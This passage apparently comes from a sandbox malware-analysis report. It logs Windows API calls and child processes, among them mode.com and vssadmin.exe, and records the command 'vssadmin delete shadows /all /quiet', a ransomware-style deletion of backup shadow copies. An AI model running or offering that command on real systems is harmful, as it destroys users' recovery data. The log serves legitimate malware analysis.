lpNumberOfBytesWritten=0xe1ab58fc68, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xe1ab58fc68, lpOverlapped=0x0) returned 0 [0290.075] GetLastError () returned 0xe8 [0290.075] _get_osfhandle (_FileHandle=1) returned 0x1184 [0290.075] GetFileType (hFile=0x1184) returned 0x3 [0290.075] _get_osfhandle (_FileHandle=1) returned 0x1184 [0290.075] GetFileType (hFile=0x1184) returned 0x3 [0290.075] _get_osfhandle (_FileHandle=2) returned 0x1184 [0290.075] GetFileType (hFile=0x1184) returned 0x3 [0290.075] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2364, dwLanguageId=0x0, lpBuffer=0x7ff784037f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="The process tried to write to a nonexistent pipe.\r\n") returned 0x33 [0290.075] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2364, dwLanguageId=0x0, lpBuffer=0x7ff784037f60, nSize=0x2000, Arguments=0xe1ab58fc00 | out: lpBuffer="The process tried to write to a nonexistent pipe.\r\n") returned 0x33 [0290.075] _get_osfhandle (_FileHandle=2) returned 0x1184 [0290.075] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="The process tried to write to a nonexistent pipe.\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="The process tried to write to a nonexistent pipe.\r\n", lpUsedDefaultChar=0x0) returned 52 [0290.075] WriteFile (in: hFile=0x1184, lpBuffer=0x7ff784029970, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0xe1ab58fb58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xe1ab58fb58, lpOverlapped=0x0) returned 0 [0290.075] GetLastError () returned 0xe8 [0290.075] exit (_Code=1) Thread: id = 3477 os_tid = 0x2730 Process: id = "18" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0xb78e000" os_pid = "0x80c" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0x27b0" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011462" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3467 os_tid = 0x275c Thread: id = 3468 os_tid = 0x27f4 Thread: id = 3473 os_tid = 0x278c Thread: id = 3475 os_tid = 0x27c8 Thread: id = 3476 os_tid = 0x3a8 Process: id = "19" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x9b8f000" os_pid = "0x272c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x2740" cmd_line = "mode con cp select=1251" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011462" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3478 os_tid = 0x4c4 Thread: id = 3479 os_tid = 0x26d4 Process: id = "20" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0xa446000" os_pid = "0x9bc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x2740" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011462" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3480 os_tid = 0x27fc Thread: id = 3481 os_tid = 0x3e0 Thread: id = 3482 os_tid = 0x27d0 Thread: id = 3483 os_tid = 0x27f0 Thread: id = 3484 os_tid = 0x27f8